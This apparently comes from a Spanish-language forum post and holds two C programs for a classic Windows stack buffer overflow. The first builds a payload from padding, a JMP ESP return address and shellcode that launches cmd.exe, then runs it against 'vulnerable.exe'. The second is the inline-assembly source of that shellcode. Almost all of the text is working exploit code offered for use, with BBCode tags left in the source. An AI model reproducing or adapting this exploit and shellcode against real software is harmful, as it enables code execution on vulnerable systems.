#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3"; [b] //EL OFFSET TAMBIEN LO HE PUESTO BIEN (xC7\x93\xBF\x77)  lo hago con el programa diceoffset [/b]

char offset[]="\x7C\x95\x1E\xED";  [b]  //HE SACADO ESTO EN MI PC CON FINDJMP[/b] 
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

    
    argv[0] = "vulnerable";
    argv[1] = evilbuffer;
    argv[2] = NULL;
    
    execv ("vulnerable.exe",argv);
    }

#include <stdio.h>
#include <windows.h>

void main () {

	LoadLibrary("msvcrt.dll");
	__asm{
		push ebp
		mov ebp,esp
		xor edi,edi
		push edi
		sub esp,04h
		mov byte ptr [ebp-08h],63h
		mov byte ptr [ebp-07h],6Dh
		mov byte ptr [ebp-06h],64h
		mov byte ptr [ebp-05h],2Eh
		mov byte ptr [ebp-04h],65h
		mov byte ptr [ebp-03h],78h
		mov byte ptr [ebp-02h],65h
		lea eax,[ebp-08h]
		push eax
		mov ebx,0x77bf93c7
		call ebx
		}
	}